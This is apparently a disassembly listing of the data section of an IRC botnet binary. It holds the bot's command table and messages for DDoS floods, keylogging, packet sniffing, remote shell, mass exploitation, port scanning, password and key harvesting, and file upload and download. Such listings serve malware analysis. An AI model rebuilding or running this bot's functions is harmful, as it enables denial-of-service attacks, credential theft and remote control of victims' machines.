db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_4366C8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+3A67o
dd 2BBBB02h
aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_436710 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+39EFo
dd 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_43674C db 2 ; DATA XREF: sub_40F6F1+397Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_43679C db 2 ; DATA XREF: sub_40F6F1+3910o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_4367D8 db 2 ; DATA XREF: sub_40F6F1+3827o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start redirection thread, error: <%d>.',0
align 4
unk_43682C db 2 ; DATA XREF: sub_40F6F1+37BCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
unk_436878 db 2 ; DATA XREF: sub_40F6F1+3731o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_4368C4 db 2 ; DATA XREF: sub_40F6F1+36C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40F6F1+363Eo
align 10h
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40F6F1+3544o
align 10h
dword_436930 dd 54434101h, 204E4F49h, 17325h ; sub_40F6F1+44DDo
unk_43693C db 2 ; DATA XREF: sub_40F6F1+3457o
; sub_40F6F1+53E9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_436984 db 2 ; DATA XREF: sub_40F6F1+33E8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_40F6F1+33BDo
; sub_40F6F1+534Do
align 10h
aRandom_0 db 'Random',0 ; DATA XREF: sub_40F6F1+33B6o
; sub_40F6F1+5346o
align 4
unk_436A08 db 2 ; DATA XREF: sub_40F6F1+3278o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_21 db ' Failed to start scan, no IP specified.',0
align 4
unk_436A4C db 2 ; DATA XREF: sub_40F6F1+321Bo
; sub_40F6F1:loc_414B28o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start scan, port is invalid.',0
align 10h
unk_436A90 db 2 ; DATA XREF: sub_40F6F1+3129o
; sub_40F6F1+519Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
dword_436ADC dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+30CEo
dd 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_436B24 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+3063o
dd 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40F6F1+2FACo
align 4
unk_436B94 db 2 ; DATA XREF: sub_40F6F1+2F97o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_436BDC db 2 ; DATA XREF: sub_40F6F1+2F28o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_436C34 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_41256Eo
dd 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 4
dword_436C7C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2E73o
dd 2BBBB02h
aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_436CC4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2DF9o
dd 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40F6F1+2DE9o
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40F6F1+2DE2o
dword_436D18 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2D4Do
dd 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_436D50 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_412353o
dd 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_436D8C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2C5Bo
dd 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40F6F1+2C44o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40F6F1+2C2Do
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40F6F1+2C0Do
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_40F6F1+2BE9o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40F6F1+2BD8o
align 4
dword_436E08 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2B62o
dd 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40F6F1+2B3Fo
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40F6F1+2B1Co
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40F6F1+2B05o
align 10h
unk_436E60 db 3 ; DATA XREF: sub_40F6F1+2AE9o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 65h
db 6Dh ; m
db 61h, 69h, 6Ch
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5MessageSentTo db '5 Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40F6F1+2A75o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a__0: ; DATA XREF: sub_40F6F1+29D9o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40F6F1+298Ao
align 4
aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40F6F1+2973o
align 4
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40F6F1+295Co
align 4
aP: ; DATA XREF: sub_40F6F1+2945o
unicode 0, <p>,0
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40F6F1+292Eo
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40F6F1+2917o
align 4
aU: ; DATA XREF: sub_40F6F1+2900o
unicode 0, <u>,0
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40F6F1+28E9o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40F6F1+28D2o
align 4
aRoot_s db 'root.s',0 ; DATA XREF: sub_40F6F1+28BBo
align 10h
aRoot_start db 'root.start',0 ; DATA XREF: sub_40F6F1+28A4o
align 4
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40F6F1+287Bo
align 4
aClone_action db 'clone.action',0 ; DATA XREF: sub_40F6F1+2864o
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40F6F1+284Do
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40F6F1+2836o
align 4
aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40F6F1+281Fo
aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40F6F1+2808o
align 4
aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40F6F1+27F1o
align 4
aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40F6F1+27DAo
aDownload_wg33 db 'download.wg33',0 ; DATA XREF: sub_40F6F1+27C3o
align 4
aDownload_wgett db 'download.wgett4m13',0 ; DATA XREF: sub_40F6F1+27ACo
align 4
aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40F6F1+2795o
align 4
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40F6F1+277Eo
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40F6F1+2722o
aClone_make db 'clone.make',0 ; DATA XREF: sub_40F6F1+270Bo
align 10h
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40F6F1+26E2o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40F6F1+26CBo
align 4
aCom_mv db 'com.mv',0 ; DATA XREF: sub_40F6F1+26B4o
align 4
aCom_rename db 'com.rename',0 ; DATA XREF: sub_40F6F1+269Do
align 4
aFf db 'ff',0 ; DATA XREF: sub_40F6F1+2686o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_40F6F1+266Fo
align 4
aCom_e db 'com.e',0 ; DATA XREF: sub_40F6F1+2658o
align 10h
aCom_execute db 'com.execute',0 ; DATA XREF: sub_40F6F1+2641o
aDownload_up33 db 'download.up33',0 ; DATA XREF: sub_40F6F1+262Ao
align 4
aDownload_updat db 'download.updat4m13',0 ; DATA XREF: sub_40F6F1+2613o
align 10h
aIrc_de db 'irc.de',0 ; DATA XREF: sub_40F6F1+25FCo
align 4
aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40F6F1+25E5o
align 4
aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40F6F1+25CEo
align 4
aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40F6F1+25B7o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: sub_40F6F1+25A0o
aClone_part db 'clone.part',0 ; DATA XREF: sub_40F6F1+2589o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40F6F1+2572o
aClone_join db 'clone.join',0 ; DATA XREF: sub_40F6F1+255Bo
align 10h
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40F6F1+2544o
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40F6F1+252Do
align 4
aClone_m db 'clone.m',0 ; DATA XREF: sub_40F6F1+2516o
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40F6F1+24FFo
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40F6F1+24E8o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40F6F1+24D1o
align 4
aIrc_m db 'irc.m',0 ; DATA XREF: sub_40F6F1+24BAo
align 4
aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40F6F1+24A3o
align 4
aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40F6F1+248Co
align 10h
aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40F6F1+2475o
align 4
aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40F6F1+245Eo
align 4
aIrc_action db 'irc.action',0 ; DATA XREF: sub_40F6F1+2447o
align 10h
aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40F6F1+2430o
align 4
aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40F6F1+2419o
aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40F6F1+2402o
align 4
aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40F6F1+23EBo
align 4
aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40F6F1+23C2o
align 4
aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40F6F1+23ABo
aCom_cap db 'com.cap',0 ; DATA XREF: sub_40F6F1+2394o
aCom_capture db 'com.capture',0 ; DATA XREF: sub_40F6F1+237Do
dword_4371C4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_411A20o
dd 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 10h
dword_4371F0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_411A19o
dd 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_437220 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_4119D1o
dd 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_43724C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+22D9o
dd 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_40F6F1+224Co
align 4
dword_437284 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_411932o
dd 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_4372B4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2237o
dd 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40F6F1+21CFo
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40F6F1+21B4o
align 4
aPause db 'pause',0 ; DATA XREF: sub_40F6F1+2181o
align 4
aStop db 'stop',0 ; DATA XREF: sub_40F6F1+2169o
align 4
dword_437304 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1:loc_41184Fo
dd 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_437334 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+2154o
dd 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
dword_437368 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+20D0o
dd 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 10h
aSys_net db 'sys.net',0 ; DATA XREF: sub_40F6F1+20ACo
aOffz db 'offz',0 ; DATA XREF: sub_40F6F1+207Eo
; sub_40F6F1+2095o
align 10h
aCmd_kl_on db 'cmd.kl.on',0 ; DATA XREF: sub_40F6F1+2067o
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_40F6F1+2050o
align 4
a_n_z_m_Sniff_3 db '.n.z.m. (sniffer.p.l.g) .»». No sniffer thread found.',0
; DATA XREF: sub_40F6F1:loc_411734o
align 4
a_n_z_m_Sniff_2 db '.n.z.m. (sniffer.p.l.g) .»». sniffer stopped. (%d thread(s) stop'
; DATA XREF: sub_40F6F1+2039o
db 'ped.)',0
align 4
a_n_z_m_Sniff_1 db '.n.z.m. (sniffer.p.l.g) .»». Failed to start sniffer thread, erro'
; DATA XREF: sub_40F6F1+200Bo
db 'r: <%d>.',0
align 10h
a_n_z_m_Sniff_0 db '.n.z.m. (sniffer.p.l.g) .»». packet sniffer active.',0
; DATA XREF: sub_40F6F1+1F9Co
a_n_z_m_Sniffer db '.n.z.m. (sniffer.p.l.g) .»». Already running.',0
; DATA XREF: sub_40F6F1+1F3Bo
align 4
aSniffer db 'sniffer',0 ; DATA XREF: sub_40F6F1+1F06o
a_n_z_m_Psnif_3 db '.n.z.m. (psniff.p.l.g) .»». No Carnivore thread found.',0
; DATA XREF: sub_40F6F1:loc_4115BFo
a_n_z_m_Psnif_2 db '.n.z.m. (psniff.p.l.g) .»». Carnivore stopped. (%d thread(s) sto'
; DATA XREF: sub_40F6F1+1EC4o
db 'pped.)',0
aOff db 'off',0 ; DATA XREF: sub_40F6F1+1EA5o
; sub_40F6F1+2016o
a_n_z_m_Psnif_1 db '.n.z.m. (psniff.p.l.g) .»». Failed to start sniffer thread, erro'
; DATA XREF: sub_40F6F1+1E9Ao
db 'r: <%d>.',0
align 4
a_n_z_m_Psnif_0 db '.n.z.m. (psniff.p.l.g) .»». Carnivore packet sniffer active.',0
; DATA XREF: sub_40F6F1+1E2Fo
align 4
a_n_z_m_Psniff_ db '.n.z.m. (psniff.p.l.g) .»». Already running.',0
; DATA XREF: sub_40F6F1+1DCBo
align 4
aOn db 'on',0 ; DATA XREF: sub_40F6F1+1DABo
; sub_40F6F1+1F1Bo
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_40F6F1+1D96o
align 4
aCom_rf db 'com.rf',0 ; DATA XREF: sub_40F6F1+1D7Fo
align 10h
aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40F6F1+1D68o
align 10h
aCom_cm db 'com.cm',0 ; DATA XREF: sub_40F6F1+1D51o
align 4
aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40F6F1+1D3Ao
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40F6F1+1D0Co
; sub_40F6F1+1D23o
align 4
aIrc_v db 'irc.v',0 ; DATA XREF: sub_40F6F1+1CF5o
align 4
aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40F6F1+1CDEo
align 10h
aCom_fl db 'com.fl',0 ; DATA XREF: sub_40F6F1+1CC7o
align 4
aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40F6F1+1CB0o
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40F6F1+1C99o
align 10h
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40F6F1+1C82o
aCom_del db 'com.del',0 ; DATA XREF: sub_40F6F1+1C6Bo
aCom_delete db 'com.delete',0 ; DATA XREF: sub_40F6F1+1C54o
align 4
aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40F6F1+1C3Do
align 4
aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40F6F1+1C26o
align 4
aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40F6F1+1C0Fo
aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40F6F1+1BF8o
align 4
aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40F6F1+1BE1o
align 4
aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40F6F1+1BCAo
aIrc_se db 'irc.se',0 ; DATA XREF: sub_40F6F1+1BB3o
align 4
aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40F6F1+1B9Co
align 4
aCom_o db 'com.o',0 ; DATA XREF: sub_40F6F1+1B85o
align 4
aCom_open db 'com.open',0 ; DATA XREF: sub_40F6F1+1B6Eo
align 10h
aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40F6F1+1B57o
align 4
aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40F6F1+1B40o
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40F6F1+1B29o
align 10h
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40F6F1+1B12o
align 10h
aClone_q db 'clone.q',0 ; DATA XREF: sub_40F6F1+1AFBo
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40F6F1+1AE4o
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40F6F1+1ACDo
align 10h
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40F6F1+1AB6o
align 10h
aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40F6F1+1A9Fo
align 4
aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40F6F1+1A88o
aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40F6F1+1A71o
align 4
aIrc_part db 'irc.part',0 ; DATA XREF: sub_40F6F1+1A5Ao
align 4
aIrc_j db 'irc.j',0 ; DATA XREF: sub_40F6F1+1A43o
align 4
aIrc_join db 'irc.join',0 ; DATA XREF: sub_40F6F1+1A2Co
align 4
aIrc_n db 'irc.n',0 ; DATA XREF: sub_40F6F1+1A15o
align 10h
aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40F6F1+19FEo
align 4
aRoot_mass db 'root.mass',0 ; DATA XREF: sub_40F6F1+19D8o
align 4
aRoot_massexplo db 'root.massexploit',0 ; DATA XREF: sub_40F6F1+19C1o
align 4
aCom_fp db 'com.fp',0 ; DATA XREF: sub_40F6F1+19AAo
align 4
aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40F6F1+1993o
align 4
aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40F6F1+197Co
align 4
aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40F6F1+1965o
align 4
aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40F6F1+194Eo
align 4
aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40F6F1+1937o
aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40F6F1+1920o
align 10h
aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40F6F1+1909o
align 10h
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40F6F1+18F2o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40F6F1+18DBo
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40F6F1+18C4o
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40F6F1+18ADo
align 4
aCom_gc db 'com.gc',0 ; DATA XREF: sub_40F6F1+1896o
align 10h
aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40F6F1+187Fo
dword_4378DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+186Co
dd 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_40F6F1+1839o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40F6F1:loc_410F1Do
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40F6F1+1804o
align 4
aIrc_who db 'irc.who',0 ; DATA XREF: sub_40F6F1+17E7o
aCmd db '[CMD]',0 ; DATA XREF: sub_40F6F1+17DAo
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40F6F1+17D5o
align 4
aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40F6F1+17BCo
align 4
aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40F6F1+17A5o
align 4
aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40F6F1+178Eo
aCom_dll db 'com.dll',0 ; DATA XREF: sub_40F6F1+1777o
aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40F6F1+1760o
align 4
aCom_drv db 'com.drv',0 ; DATA XREF: sub_40F6F1+1749o
aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40F6F1+1732o
align 4
aCom_up db 'com.up',0 ; DATA XREF: sub_40F6F1+171Bo
align 4
aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40F6F1+1704o
align 4
aCom_key db 'com.key',0 ; DATA XREF: sub_40F6F1+16EDo
aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40F6F1+16D6o
aCom_ps db 'com.ps',0 ; DATA XREF: sub_40F6F1+16BFo
align 4
aCom_procs db 'com.procs',0 ; DATA XREF: sub_40F6F1+16A8o
align 10h
aIrc_disco33 db 'irc.disco33',0 ; DATA XREF: sub_40F6F1+1691o
aIrc_discordanc db 'irc.discordanc33',0 ; DATA XREF: sub_40F6F1+167Ao
align 10h
aCom_si db 'com.si',0 ; DATA XREF: sub_40F6F1+1663o
align 4
aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40F6F1+164Co
unk_437A14 db 2 ; DATA XREF: sub_40F6F1+1636o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_26 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_437A60 db 2 ; DATA XREF: sub_40F6F1+15BEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40F6F1+1529o
align 10h
aCom_ni db 'com.ni',0 ; DATA XREF: sub_40F6F1+1512o
align 4
aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40F6F1+14FBo
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40F6F1+14E4o
align 10h
